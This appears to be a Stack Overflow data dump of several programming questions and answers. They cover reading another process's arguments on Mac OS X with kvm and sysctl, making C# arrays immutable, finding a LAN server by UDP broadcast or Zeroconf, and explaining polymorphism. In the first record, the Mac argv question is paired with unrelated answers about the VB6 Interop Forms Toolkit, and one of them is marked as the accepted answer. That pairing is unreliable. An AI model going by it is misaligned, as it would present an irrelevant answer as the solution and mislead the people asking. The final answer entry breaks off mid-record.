</code></pre>
<p>When ran on PowerPC, <code>kvm_getargv()</code> always returned NULL. When ran
on Intel, <code>kvm_openfiles()</code> failed with error <code>/dev/mem: No such file
or directory</code>.</p>
<p>Of cource, I know about permission.</p>
<p>Second, I tried sysctl.</p>
<pre><code>#include <sys/sysctl.h>
#include <stdio.h>
#include <stdlib.h>
#define pid_of(pproc) pproc->kp_proc.p_pid
int
main(void) {
int mib[4] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0 };
int buffer_size;
sysctl(mib, 4, NULL, &buffer_size, NULL, 0);
struct kinfo_proc *result = malloc(buffer_size);
sysctl(mib, 4, result, &buffer_size, NULL, 0);
int num_procs = buffer_size / sizeof(struct kinfo_proc);
for (int i = 0; i < num_procs; i++) {
struct kinfo_proc *pproc = result + i;
int mib[3] = { CTL_KERN, KERN_PROCARGS, pid_of(pproc) }; // KERN_PROC_ARGS is not defined
char *proc_argv;
int argv_len;
sysctl(mib, 3, NULL, &argv_len, NULL, 0);
proc_argv = malloc(sizeof(char) * argv_len);
sysctl(mib, 3, proc_argv, &argv_len, NULL, 0);
fwrite(proc_argv, sizeof(char), argv_len, stdout);
printf("\n");
free(proc_argv);
}
return 0;
}
</code></pre>
<p>By fwrite, I got argv[0] but argv[1..] are not (environment variables
are printed out.)</p>
<p>There is no more way to do it?</p>
|
[
{
"answer_id": 210407,
"author": "JamesSugrue",
"author_id": 1075,
"author_profile": "https://Stackoverflow.com/users/1075",
"pm_score": 3,
"selected": true,
"text": "<p>Have you <a href=\"http://hubpages.com/hub/Interop_Forms_Toolkit_10\" rel=\"nofollow noreferrer\">looked at this?</a> Direct Link to <a href=\"http://msdn.microsoft.com/en-us/vbasic/bb419144.aspx\" rel=\"nofollow noreferrer\">Product here</a></p>\n"
},
{
"answer_id": 210795,
"author": "Rob Windsor",
"author_id": 28785,
"author_profile": "https://Stackoverflow.com/users/28785",
"pm_score": 3,
"selected": false,
"text": "<p>The Interop Forms Toolkit allows you to create .NET Forms and User Controls that can be used in VB 6.0 applications. This allows you to migrate VB 6.0 applications to .NET over time (a form or part of a form at a time). However, the toolkit relies on features from the Microsoft.VisualBasic assembly and the VB.NET compiler so it doesn't work with C#.</p>\n\n<p>There are a couple articles/samples on <a href=\"http://www.codeproject.com/\" rel=\"noreferrer\">CodeProject.com</a> that discuss the toolkit and how to use it with C#.</p>\n\n<p><a href=\"http://www.codeproject.com/KB/vb-interop/VB6InteropToolkit2.aspx\" rel=\"noreferrer\">Interop Forms Toolkit 2.0 Tutorial</a></p>\n\n<p><a href=\"http://www.codeproject.com/KB/dotnet/VB6_-_C__Interop_Form.aspx\" rel=\"noreferrer\">VB6 - C# Interop Form Toolkit</a></p>\n\n<p>Beth Massi has several articles and webcasts on the use of the Toolkit you can use for reference. Check out <a href=\"http://blogs.msdn.com/bethmassi\" rel=\"noreferrer\">her blog</a> for links to resources.</p>\n"
},
{
"answer_id": 54290270,
"author": "StayOnTarget",
"author_id": 3195477,
"author_profile": "https://Stackoverflow.com/users/3195477",
"pm_score": 0,
"selected": false,
"text": "<p>You do not need any third party tools out anything outside of what comes with Visual Studio if you mainly just want your VB6 program to cause a .NET Winform to be displayed.</p>\n\n<p>The approach we have taken here is to expose a C# wrapper class to VB6 by giving it a COM interface. This class has a few methods which can be called from VB6. They, in turn, instantiate and then show the Winform. It works well.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210397",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/28720/"
] |
I want to get other process' argv like ps.
I'm using Mac OS X 10.4.11 running on Intel or PowerPC.
First, I read code of ps and man kvm, then I wrote some C code.
```
#include <kvm.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <paths.h>
int
main(void) {
char errbuf[1024];
kvm_t *kd = kvm_openfiles(_PATH_DEVNULL, NULL, _PATH_DEVNULL, O_RDONLY, errbuf);
int num_procs;
if (!kd) { fprintf(stderr, "kvm_openfiles failed : %s\n", errbuf); return 0; }
struct kinfo_proc *proc_table = kvm_getprocs(kd, KERN_PROC_ALL, 0, &num_procs);
for (int i = 0; i < num_procs; i++) {
struct kinfo_proc *pproc = &proc_table[i];
char **proc_argv = kvm_getargv(kd, pproc, 0);
printf("%p\n", proc_argv);
}
kvm_close(kd);
return 0;
}
```
When ran on PowerPC, `kvm_getargv()` always returned NULL. When ran
on Intel, `kvm_openfiles()` failed with error `/dev/mem: No such file
or directory`.
Of cource, I know about permission.
Second, I tried sysctl.
```
#include <sys/sysctl.h>
#include <stdio.h>
#include <stdlib.h>
#define pid_of(pproc) pproc->kp_proc.p_pid
int
main(void) {
int mib[4] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0 };
int buffer_size;
sysctl(mib, 4, NULL, &buffer_size, NULL, 0);
struct kinfo_proc *result = malloc(buffer_size);
sysctl(mib, 4, result, &buffer_size, NULL, 0);
int num_procs = buffer_size / sizeof(struct kinfo_proc);
for (int i = 0; i < num_procs; i++) {
struct kinfo_proc *pproc = result + i;
int mib[3] = { CTL_KERN, KERN_PROCARGS, pid_of(pproc) }; // KERN_PROC_ARGS is not defined
char *proc_argv;
int argv_len;
sysctl(mib, 3, NULL, &argv_len, NULL, 0);
proc_argv = malloc(sizeof(char) * argv_len);
sysctl(mib, 3, proc_argv, &argv_len, NULL, 0);
fwrite(proc_argv, sizeof(char), argv_len, stdout);
printf("\n");
free(proc_argv);
}
return 0;
}
```
By fwrite, I got argv[0] but argv[1..] are not (environment variables
are printed out.)
There is no more way to do it?
|
Have you [looked at this?](http://hubpages.com/hub/Interop_Forms_Toolkit_10) Direct Link to [Product here](http://msdn.microsoft.com/en-us/vbasic/bb419144.aspx)
|
210,428 |
<p>Is it possible to somehow mark a <code>System.Array</code> as immutable. When put behind a public-get/private-set they can't be added to, since it requires re-allocation and re-assignment, but a consumer can still set any subscript they wish:</p>
<pre><code>public class Immy
{
public string[] { get; private set; }
}
</code></pre>
<p>I thought the <code>readonly</code> keyword might do the trick, but no such luck.</p>
|
[
{
"answer_id": 210441,
"author": "Matt",
"author_id": 2338,
"author_profile": "https://Stackoverflow.com/users/2338",
"pm_score": 2,
"selected": false,
"text": "<p>I believe best practice is to use <code>IList<></code> rather than arrays in public APIs for this exact reason. <strong>readonly</strong> will prevent a member variable from being set outside of the constructor, but as you discovered, won't prevent people from assigning elements in the array.</p>\n<p>See Eric Lippert's article <a href=\"https://learn.microsoft.com/en-us/archive/blogs/ericlippert/arrays-considered-somewhat-harmful\" rel=\"nofollow noreferrer\">Arrays Considered Somewhat Harmful</a> for more information.</p>\n<p><strong>Edit:</strong> Arrays can't be read only, but they can be converted to read-only IList implementations via <code>Array.AsReadOnly()</code> as @shahkalpesh points out.</p>\n"
},
{
"answer_id": 210444,
"author": "Ray Jezek",
"author_id": 28309,
"author_profile": "https://Stackoverflow.com/users/28309",
"pm_score": 6,
"selected": true,
"text": "<p><a href=\"http://msdn.microsoft.com/en-us/library/ms132474\" rel=\"noreferrer\"><code>ReadOnlyCollection<T></code></a> is probably what you are looking for. It doesn't have an <code>Add()</code> method.</p>\n"
},
{
"answer_id": 210450,
"author": "shahkalpesh",
"author_id": 23574,
"author_profile": "https://Stackoverflow.com/users/23574",
"pm_score": 3,
"selected": false,
"text": "<p>You could use Array.AsReadOnly method to return.</p>\n"
},
{
"answer_id": 210491,
"author": "Quantenmechaniker",
"author_id": 28727,
"author_profile": "https://Stackoverflow.com/users/28727",
"pm_score": 5,
"selected": false,
"text": "<p>The <a href=\"https://rads.stackoverflow.com/amzn/click/com/0321246756\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Framework Design Guidelines</a> suggest returning a copy of the Array. That way, consumers can't change items from the array.</p>\n\n<pre><code>// bad code\n// could still do Path.InvalidPathChars[0] = 'A';\npublic sealed class Path {\n public static readonly char[] InvalidPathChars = \n { '\\\"', '<', '>', '|' };\n}\n</code></pre>\n\n<p>these are better:</p>\n\n<pre><code>public static ReadOnlyCollection<char> GetInvalidPathChars(){\n return Array.AsReadOnly(InvalidPathChars);\n}\n\npublic static char[] GetInvalidPathChars(){\n return (char[])InvalidPathChars.Clone();\n}\n</code></pre>\n\n<p>The examples are straight from the book.</p>\n"
},
{
"answer_id": 210631,
"author": "tsimon",
"author_id": 1685,
"author_profile": "https://Stackoverflow.com/users/1685",
"pm_score": 0,
"selected": false,
"text": "<p>The only thing to add is that Arrays <em>imply</em> mutability. When you return an Array from a function, you are suggesting to the client programmer that they can/should change things.</p>\n"
},
{
"answer_id": 211840,
"author": "Daniel Earwicker",
"author_id": 27423,
"author_profile": "https://Stackoverflow.com/users/27423",
"pm_score": 0,
"selected": false,
"text": "<p>Further to Matt's answer, IList is a complete abstract interface to an array, so it allows add, remove, etc. I'm not sure why Lippert appears to suggest it as an alternative to IEnumerable where immutability is needed. (<strong>Edit:</strong> because the IList implementation can throw exceptions for those mutating methods, if you like that kind of thing).</p>\n\n<p>Maybe another thing to bear in mind that the items on the list may also have mutable state. If you really don't want the caller to modify such state, you have some options:</p>\n\n<p>Make sure the items on the list are immutable (as in your example: string is immutable).</p>\n\n<p>Return a deep clone of everything, so in that case you could use an array anyway.</p>\n\n<p>Return an interface that gives readonly access to an item:</p>\n\n<pre><code>interface IImmutable\n{\n public string ValuableCustomerData { get; }\n}\n\nclass Mutable, IImmutable\n{\n public string ValuableCustomerData { get; set; }\n}\n\npublic class Immy\n{\n private List<Mutable> _mutableList = new List<Mutable>();\n\n public IEnumerable<IImmutable> ImmutableItems\n {\n get { return _mutableList.Cast<IMutable>(); }\n }\n}\n</code></pre>\n\n<p>Note that every value accessible from the IImmutable interface must itself be immutable (e.g. string), or else be a copy that you make on-the-fly.</p>\n"
},
{
"answer_id": 212676,
"author": "Rick Minerich",
"author_id": 9251,
"author_profile": "https://Stackoverflow.com/users/9251",
"pm_score": 0,
"selected": false,
"text": "<p>The best you can hope to do is extend an existing collection to build your own. The big issue is that it would have to work differently than every existing collection type because every call would have to return a new collection.</p>\n"
},
{
"answer_id": 14128024,
"author": "JarrettV",
"author_id": 16340,
"author_profile": "https://Stackoverflow.com/users/16340",
"pm_score": 4,
"selected": false,
"text": "<p>Please see <strong><a href=\"http://blogs.msdn.com/b/bclteam/archive/2012/12/18/preview-of-immutable-collections-released-on-nuget.aspx\">Immutable Collections Now Available</a></strong> in the base class library (currently in preview).</p>\n"
},
{
"answer_id": 17852590,
"author": "Zenexer",
"author_id": 1188377,
"author_profile": "https://Stackoverflow.com/users/1188377",
"pm_score": 0,
"selected": false,
"text": "<p>.NET tends to steer away from arrays for all but the simplest and most traditional use cases. For everything else, there are various enumerable/collection implementations.</p>\n\n<p>When you want to mark a set of data as immutable, you're going beyond the capability provided by a traditional array. .NET provides equivalent capability, but not technically in the form of an array. To get an immutable collection from an array, use <a href=\"http://msdn.microsoft.com/en-us/library/53kysx7b.aspx\" rel=\"nofollow\" title=\"MSDN: Array.AsReadOnly<T>\"><code>Array.AsReadOnly<T></code></a>:</p>\n\n<pre><code>var mutable = new[]\n{\n 'a', 'A',\n 'b', 'B',\n 'c', 'C',\n};\n\nvar immutable = Array.AsReadOnly(mutable);\n</code></pre>\n\n<p><code>immutable</code> will be a <a href=\"http://msdn.microsoft.com/en-us/library/ms132474.aspx\" rel=\"nofollow\" title=\"MSDN: System.Collections.ObjectModel.ReadOnlyCollection<T>\"><code>ReadOnlyCollection<char></code></a> instance. As a more general use case, you can create a <a href=\"http://msdn.microsoft.com/en-us/library/ms132474.aspx\" rel=\"nofollow\" title=\"MSDN: System.Collections.ObjectModel.ReadOnlyCollection<T>\"><code>ReadOnlyCollection<T></code></a> from any generic <a href=\"http://msdn.microsoft.com/en-us/library/5y536ey6.aspx\" rel=\"nofollow\" title=\"MSDN: System.Collections.Generic.IList<T>\"><code>IList<T></code></a> implementation.</p>\n\n<pre><code>var immutable = new ReadOnlyCollection<char>(new List<char>(mutable));\n</code></pre>\n\n<p>Note that it has to be a generic implementation; plain old <a href=\"http://msdn.microsoft.com/en-us/library/system.collections.ilist.aspx\" rel=\"nofollow\" title=\"MSDN: System.Collections.IList\"><code>IList</code></a> won't work, meaning that you can't use this method on a traditional array, which only implements <a href=\"http://msdn.microsoft.com/en-us/library/system.collections.ilist.aspx\" rel=\"nofollow\" title=\"MSDN: System.Collections.IList\"><code>IList</code></a>. This brings to light the possibility of using <a href=\"http://msdn.microsoft.com/en-us/library/53kysx7b.aspx\" rel=\"nofollow\" title=\"MSDN: Array.AsReadOnly<T>\"><code>Array.AsReadOnly<T></code></a> as a quick means of obtaining access to generic implementations that are normally inaccessible via a traditional array.</p>\n\n<p><a href=\"http://msdn.microsoft.com/en-us/library/ms132474.aspx\" rel=\"nofollow\" title=\"MSDN: System.Collections.ObjectModel.ReadOnlyCollection<T>\"><code>ReadOnlyCollection<T></code></a> will give you access to all of the features that you would expect from an immutable array:</p>\n\n<pre><code>// Note that .NET favors Count over Length; all but traditional arrays use Count:\nfor (var i = 0; i < immutable.Count; i++)\n{\n // this[] { get } is present, as ReadOnlyCollection<T> implements IList<T>:\n var element = immutable[i]; // Works\n\n // this[] { set } has to be present, as it is required by IList<T>, but it\n // will throw a NotSupportedException:\n immutable[i] = element; // Exception!\n}\n\n// ReadOnlyCollection<T> implements IEnumerable<T>, of course:\nforeach (var character in immutable)\n{\n}\n\n// LINQ works fine; idem\nvar lowercase =\n from c in immutable\n where c >= 'a' && c <= 'z'\n select c;\n\n// You can always evaluate IEnumerable<T> implementations to arrays with LINQ:\nvar mutableCopy = immutable.ToArray();\n// mutableCopy is: new[] { 'a', 'A', 'b', 'B', 'c', 'C' }\nvar lowercaseArray = lowercase.ToArray();\n// lowercaseArray is: new[] { 'a', 'b', 'c' }\n</code></pre>\n"
},
{
"answer_id": 73716571,
"author": "KyleMit",
"author_id": 1366033,
"author_profile": "https://Stackoverflow.com/users/1366033",
"pm_score": 0,
"selected": false,
"text": "<h3>Yes, You can now use <a href=\"https://learn.microsoft.com/en-us/dotnet/api/system.collections.immutable.immutablearray\" rel=\"nofollow noreferrer\"><code>ImmutableArray</code></a> with .NET Core 1.0+</h3>\n<pre class=\"lang-cs prettyprint-override\"><code>using System.Collections.Immutable;\n\nvar arr1 = new [] {1,2,3}.ToImmutableArray();\nvar arr2 = ImmutableArray.Create(new [] {1,2,3});\n</code></pre>\n<p><a href=\"https://dotnetfiddle.net/FRwOey\" rel=\"nofollow noreferrer\">Demo in DotNetFiddle</a></p>\n<p><strong>See Also</strong>: <a href=\"https://devblogs.microsoft.com/dotnet/please-welcome-immutablearrayt/\" rel=\"nofollow noreferrer\"><strong>Please welcome ImmutableArray</strong></a> by Immo Landwerth</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210428",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9642/"
] |
Is it possible to somehow mark a `System.Array` as immutable. When put behind a public-get/private-set they can't be added to, since it requires re-allocation and re-assignment, but a consumer can still set any subscript they wish:
```
public class Immy
{
public string[] { get; private set; }
}
```
I thought the `readonly` keyword might do the trick, but no such luck.
|
[`ReadOnlyCollection<T>`](http://msdn.microsoft.com/en-us/library/ms132474) is probably what you are looking for. It doesn't have an `Add()` method.
|
210,446 |
<p>The client connects to the server using GenuineChannels (we are considering switching to DotNetRemoting). What I mean by find is obtain the IP and port number of a server to connect to.</p>
<p>It seems like a brute-force approach would be try every IP on the network try the active ports (not even sure if that's possible) but there must be a better way.</p>
|
[
{
"answer_id": 210462,
"author": "Ovidiu Pacurar",
"author_id": 28419,
"author_profile": "https://Stackoverflow.com/users/28419",
"pm_score": 2,
"selected": false,
"text": "<p>Have the server listen for broadcast on a specific port on the network (must use UDP), When client starts have it broadcast some \"ping\" request on that port. when the server sees a \"ping\" it send back a message with the TCP address and port required for the client to connect to it.</p>\n"
},
{
"answer_id": 210464,
"author": "Jorge Ferreira",
"author_id": 6508,
"author_profile": "https://Stackoverflow.com/users/6508",
"pm_score": 5,
"selected": true,
"text": "<p>Consider broadcasting a specific UDP packet. When the server or servers see the broadcasted UDP packet they send a reply. The client can collect the replies from all the servers and start connecting to them or based on an election algorithm.</p>\n\n<p>See example for client (<strong>untested code</strong>):</p>\n\n<hr>\n\n<pre><code>using System.Net;\nusing System.Net.Sockets;\n\n[STAThread]\nstatic void Main(string[] args)\n{\n Socket socket = new Socket(AddressFamily.InterNetwork,\n SocketType.Dgram, ProtocolType.Udp);\n socket.Bind(new IPEndPoint(IPAddress.Any, 8002));\n socket.Connect(new IPEndPoint(IPAddress.Broadcast, 8001));\n socket.Send(System.Text.ASCIIEncoding.ASCII.GetBytes(\"hello\"));\n\n int availableBytes = socket.Available;\n if (availableBytes > 0)\n {\n byte[] buffer = new byte[availableBytes];\n socket.Receive(buffer, 0, availableBytes, SocketFlags.None);\n // buffer has the information on how to connect to the server\n }\n}\n</code></pre>\n"
},
{
"answer_id": 210520,
"author": "dlamblin",
"author_id": 459,
"author_profile": "https://Stackoverflow.com/users/459",
"pm_score": 3,
"selected": false,
"text": "<p>I'd say the best way is to use Bonjour/Zeroconf/mDNS for C#; a lot of thought went into making it play nice with the network; IE it pings less frequently over time if possible, etc. There's <a href=\"http://mono-project.com/Mono%2eZeroconf\" rel=\"noreferrer\">Mono.Zeroconf</a>, and I read there's an older .NET project in the <a href=\"http://developer.apple.com/networking/bonjour/download/\" rel=\"noreferrer\">Apple SDK</a> but I haven't found it.</p>\n\n<p>So the easiest would be to install <a href=\"http://developer.apple.com/networking/bonjour/download/\" rel=\"noreferrer\">Bonjour for Windows</a>, then get the <a href=\"http://download.banshee-project.org/mono-zeroconf/mono-zeroconf-0.8.0-binary.zip\" rel=\"noreferrer\">Windows Binaries for Mono.Zeroconf</a> try the example <code>MZClient.exe</code> drop the <code>Mono.Zeroconf.dll</code> and/or <code>Mono.Zeroconf.Providers.Bonjour.dll</code> into your project references and go.</p>\n\n<p>Something like this:</p>\n\n<pre><code>var service = new Mono.Zeroconf.RegisterService {\n Name = \"Use Me for Stuff\",\n RegType = \"_daap._tcp\",\n ReplyDomain = \"local.\",\n Port = 0024200,\n TxtRecord = new Mono.Zeroconf.TxtRecord {\n {\"I have no idea what's going on\", \"true\"}}\n };\nservice.Register();\n\nvar browser = new Mono.Zeroconf.ServiceBrowser();\nbrowser.ServiceAdded +=\n delegate(object o, Mono.Zeroconf.ServiceBrowseEventArgs args) {\n Console.WriteLine(\"Found Service: {0}\", args.Service.Name);\n args.Service.Resolved +=\n delegate(object o, Mono.Zeroconf.ServiceBrowseEventArgs args) {\n var s = args.Service;\n Console.WriteLine(\n \"Resolved Service: {0} - {1}:{2} ({3} TXT record entries)\",\n s.FullName, s.HostEntry.AddressList[0], s.Port, s.TxtRecord.Count);\n };\n args.Service.Resolve();\n };\nbrowser.Browse(\"_daap._tcp\", \"local\");\n</code></pre>\n"
},
{
"answer_id": 5179938,
"author": "andrewbadera",
"author_id": 25952,
"author_profile": "https://Stackoverflow.com/users/25952",
"pm_score": 2,
"selected": false,
"text": "<p>WS-Discovery is a protocol intended for this purpose. It has a few different variations, different flavors of broadcasting and proxies. <a href=\"http://en.wikipedia.org/wiki/WS-Discovery\" rel=\"nofollow\">http://en.wikipedia.org/wiki/WS-Discovery</a></p>\n\n<p>.NET WCF4 implements this.</p>\n"
},
{
"answer_id": 18896125,
"author": "Claire Novotny",
"author_id": 738188,
"author_profile": "https://Stackoverflow.com/users/738188",
"pm_score": 3,
"selected": false,
"text": "<p>Just wanted to point out an alternative Zeroconf NuGet package: <a href=\"http://www.nuget.org/packages/Zeroconf/\" rel=\"noreferrer\">Zeroconf</a>. It does not have any native dependencies, so you don't need to install Bonjour for Windows or anything else.</p>\n\n<p>It has support for .NET 4.5, WP8 and Win8.</p>\n"
}
] |
2008/10/16
|
[
"https://Stackoverflow.com/questions/210446",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/23822/"
] |
The client connects to the server using GenuineChannels (we are considering switching to DotNetRemoting). What I mean by find is obtain the IP and port number of a server to connect to.
It seems like a brute-force approach would be try every IP on the network try the active ports (not even sure if that's possible) but there must be a better way.
|
Consider broadcasting a specific UDP packet. When the server or servers see the broadcasted UDP packet they send a reply. The client can collect the replies from all the servers and start connecting to them or based on an election algorithm.
See example for client (**untested code**):
---
```
using System.Net;
using System.Net.Sockets;
[STAThread]
static void Main(string[] args)
{
Socket socket = new Socket(AddressFamily.InterNetwork,
SocketType.Dgram, ProtocolType.Udp);
socket.Bind(new IPEndPoint(IPAddress.Any, 8002));
socket.Connect(new IPEndPoint(IPAddress.Broadcast, 8001));
socket.Send(System.Text.ASCIIEncoding.ASCII.GetBytes("hello"));
int availableBytes = socket.Available;
if (availableBytes > 0)
{
byte[] buffer = new byte[availableBytes];
socket.Receive(buffer, 0, availableBytes, SocketFlags.None);
// buffer has the information on how to connect to the server
}
}
```
|
210,460 |
<p>How can polymorphism be described in an easy-to-understand way?</p>
<p>We can find a lot of information about the subject on the Internet and books, like in <em><a href="http://en.wikipedia.org/wiki/Type_polymorphism" rel="noreferrer">Type polymorphism</a></em>. But let's try to make it as simple as we can.</p>
|
[
{
"answer_id": 210472,
"author": "Craig",
"author_id": 27294,
"author_profile": "https://Stackoverflow.com/users/27294",
"pm_score": 0,
"selected": false,
"text": "<p>The way I try and think of it is something that looks the same but can have different functionality depending on the instance. So you can have a type</p>\n\n<pre><code>interface IJobLoader\n</code></pre>\n\n<p>but depending on how it is used can have different functionality while still looking the same. You may have instances for BatchJobLoader, NightlyJobLoader etc</p>\n\n<p>Maybe I am way off.</p>\n"
},
{
"answer_id": 210480,
"author": "Ovidiu Pacurar",
"author_id": 28419,
"author_profile": "https://Stackoverflow.com/users/28419",
"pm_score": 3,
"selected": false,
"text": "<p>The Actor vs. the Character (or Role)</p>\n"
},
{
"answer_id": 210482,
"author": "Mark A. Nicolosi",
"author_id": 1103052,
"author_profile": "https://Stackoverflow.com/users/1103052",
"pm_score": 6,
"selected": true,
"text": "<p>This is from my <a href=\"https://stackoverflow.com/questions/154577/polymorphism-vs-overriding-vs-overloading#154628\">answer</a> from a similiar question. Here's an example of polymorphism in pseudo-C#/Java:</p>\n\n<pre><code>class Animal\n{\n abstract string MakeNoise ();\n}\n\nclass Cat : Animal {\n string MakeNoise () {\n return \"Meow\";\n }\n}\n\nclass Dog : Animal {\n string MakeNoise () {\n return \"Bark\";\n }\n}\n\nMain () {\n Animal animal = Zoo.GetAnimal ();\n Console.WriteLine (animal.MakeNoise ());\n}\n</code></pre>\n\n<p>The Main() method doesn't know the type of the animal and depends on a particular implementation's behavior of the MakeNoise() method.</p>\n"
},
{
"answer_id": 210486,
"author": "JamesSugrue",
"author_id": 1075,
"author_profile": "https://Stackoverflow.com/users/1075",
"pm_score": 2,
"selected": false,
"text": "<p><a href=\"http://en.wikipedia.org/wiki/Polymorphism_in_object-oriented_programming\" rel=\"nofollow noreferrer\">This is a better article actually</a> </p>\n\n<p>Polymorphism allows Objects to \"Look\" the same, but behave in different ways. The usual example is to take an animal base class with a Speak() Method, A dog subclass would emit a Bark whereas a Pig subclass would emit an oink.</p>\n\n<p>The 5 second short answer most people use so other developers can get their head around Polymorphism is overloading and overriding </p>\n"
},
{
"answer_id": 210498,
"author": "Steven A. Lowe",
"author_id": 9345,
"author_profile": "https://Stackoverflow.com/users/9345",
"pm_score": 6,
"selected": false,
"text": "<p>Two objects respond to the same message with different behaviors; the sender doesn't have to care.</p>\n"
},
{
"answer_id": 210557,
"author": "kurosch",
"author_id": 30153,
"author_profile": "https://Stackoverflow.com/users/30153",
"pm_score": 2,
"selected": false,
"text": "<p>If it walks like a duck and quacks like a duck, then you can treat it as a duck anywhere you need a duck.</p>\n"
},
{
"answer_id": 210572,
"author": "Greg Beech",
"author_id": 13552,
"author_profile": "https://Stackoverflow.com/users/13552",
"pm_score": 4,
"selected": false,
"text": "<p>The simplest description of polymorphism is that <strong>it is a way to reduce if/switch statements</strong>.</p>\n\n<p>It also has the benefit of allowing you to extend your if/switch statements (or other people's ones) without modifying existing classes.</p>\n\n<p>For example consider the <code>Stream</code> class in .NET. Without polymorphism it would be a single massive class where each method implements a switch statement something like:</p>\n\n<pre><code>public class Stream\n{\n public int Read(byte[] buffer, int offset, int count)\n {\n if (this.mode == \"file\")\n {\n // behave like a file stream\n }\n else if (this.mode == \"network\")\n {\n // behave like a network stream\n }\n else // etc.\n }\n}\n</code></pre>\n\n<p>Instead we allow the runtime to do the switching for us in a more efficient way, by automatically choosing the implementation based on the concrete type (<code>FileStream</code>, <code>NetworkStream</code>), e.g.</p>\n\n<pre><code>public class FileStream : Stream\n{\n public override int Read(byte[] buffer, int offset, int count)\n {\n // behave like a file stream\n }\n}\n\npublic class NetworkStream : Stream\n{\n public override int Read(byte[] buffer, int offset, int count)\n {\n // behave like a network stream\n }\n}\n</code></pre>\n"
},
{
"answer_id": 210622,
"author": "David Frenkel",
"author_id": 28747,
"author_profile": "https://Stackoverflow.com/users/28747",
"pm_score": 5,
"selected": false,
"text": "<p>Every Can with a simple pop lid opens the same way. <BR>\nAs a human, you know that you can Open() any such can you find.</p>\n\n<p>When opened, not all cans behave the same way.<BR> Some contain nuts, some contain fake snakes that pop out. <BR>The result depends on what TYPE of can, if the can was a \"CanOfNuts\" or a \"CanOfSnakes\", but this has no bearing on HOW you open it. You just know that you may open any Can, and will get some sort of result that is decided based on what type of Can it was that you opened. </p>\n\n<p>pUnlabledCan->Open(); //might give nuts, might give snakes. We don't know till we call it</p>\n\n<p>Open() has a generic return type of \"Contents\" (or we might decide no return type), so that open always has the same function signature.</p>\n\n<p>You, the human, are the user/caller.<BR>\nOpen() is the virtual/polymorphic function.<BR>\n\"Can\" is the abstract base class. <BR>\nCanOfNuts and CanOfSnakes are the polymorphic children of the \"Can\" class.<BR>\nEvery Can may be opened, but what specifically it <em>does</em> and what specific tye of <em>contents</em> it returns are defined by what sort of can it is. <br>\nAll that you know when you see pUnlabledCan is that you may Open() it, and it will return the contents. Any other behaviors (such as popping snakes in your face) are decided by the specific Can.</p>\n"
},
{
"answer_id": 210687,
"author": "Cyber Oliveira",
"author_id": 9793,
"author_profile": "https://Stackoverflow.com/users/9793",
"pm_score": 3,
"selected": false,
"text": "<p>Poly: many<br>\nMorphism: forms / shapes</p>\n"
},
{
"answer_id": 210688,
"author": "pookleblinky",
"author_id": 1582786,
"author_profile": "https://Stackoverflow.com/users/1582786",
"pm_score": 1,
"selected": false,
"text": "<p>Simplest way to describe it: a verb that can apply to more than one kind of object.</p>\n\n<p>Everything else, as Hillel said, is just commentary.</p>\n"
},
{
"answer_id": 210728,
"author": "Matt Mitchell",
"author_id": 364,
"author_profile": "https://Stackoverflow.com/users/364",
"pm_score": 1,
"selected": false,
"text": "<p>Polymorphism is treating things abstractly by relying on knowledge of a common \"parent\" (think heirarchies like Animal as a parent of Dogs and Cats).</p>\n\n<p>For example, all Animals can breathe oxygen, and while they may each do this differently you could design a facility that provides oxygen for Animals to breathe, supporting both Dogs and Cats.</p>\n\n<p>As a little extra, you can do this even though Animal is an \"abstract\" identifier (there is no real \"Animal\" thing, just types of Animals).</p>\n"
},
{
"answer_id": 210807,
"author": "Barry Kelly",
"author_id": 3712,
"author_profile": "https://Stackoverflow.com/users/3712",
"pm_score": 1,
"selected": false,
"text": "<p>Polymorphism is the storing of values of more than one type in a location of a single type.</p>\n\n<p>Note that most of the other answers to this question, at the time of my writing, are actually describing dynamic dispatch, not polymorphism.</p>\n\n<p><a href=\"http://en.wikipedia.org/wiki/Dynamic_dispatch\" rel=\"nofollow noreferrer\">Dynamic dispatch</a> requires polymorphism, but the reverse is not true. One could imagine a language very similar to Java or C# but whose System.Object had no members; typecasting would be necessary before doing anything with the value. In this notional language, there would be polymorphism, but not necessarily virtual methods, or any other dynamic dispatch mechanisms.</p>\n\n<p>Dynamic dispatch is the related but distinct concept, well enough described in most of the other answers. However, the way it normally works in object-oriented languages (selecting a function based on the first ('this' or 'Self') argument type) is not the only way it can work. <a href=\"http://en.wikipedia.org/wiki/Multiple_dispatch\" rel=\"nofollow noreferrer\">Multiple dispatch</a> is also possible, where the selection is applied across the types of all the arguments.</p>\n\n<p>Similarly, overload resolution and multiple dispatch are exact analogues of one another; overload resolution is multiple dispatch applied to static types, while multiple dispatch is overload resolution applied to runtime types stored in polymorphic locations.</p>\n"
},
{
"answer_id": 210863,
"author": "tsellon",
"author_id": 3575,
"author_profile": "https://Stackoverflow.com/users/3575",
"pm_score": 0,
"selected": false,
"text": "<p>The term polymorphism can also apply to overloading functions. For example,</p>\n\n<pre><code>string MyFunc(ClassA anA);\nstring MyFunc(ClassB aB);\n</code></pre>\n\n<p>is a non-object oriented example of polymorphism.</p>\n"
},
{
"answer_id": 210876,
"author": "Daniel Auger",
"author_id": 1644,
"author_profile": "https://Stackoverflow.com/users/1644",
"pm_score": 0,
"selected": false,
"text": "<p>It is a way to treat different things that can do something something similar in the same way without caring how they do it.</p>\n\n<p>Let's say you have a game with a bunch of different types of Vehicles driving around such as Car, Truck, Skateboard, Airplane, etc... They all can Stop, but each Vehicle stops in a different way. Some Vehicles may need to shift down gears, and some may be able to come to a cold stop. Polymophism lets you do this</p>\n\n<pre><code>foreach (Vehicle v in Game.Vehicles)\n{\n v.Stop();\n}\n</code></pre>\n\n<p>The way that stop is implemented is deferred to the different Vehicles so your program doesn't have to care about it.</p>\n"
},
{
"answer_id": 210898,
"author": "OscarRyz",
"author_id": 20654,
"author_profile": "https://Stackoverflow.com/users/20654",
"pm_score": 0,
"selected": false,
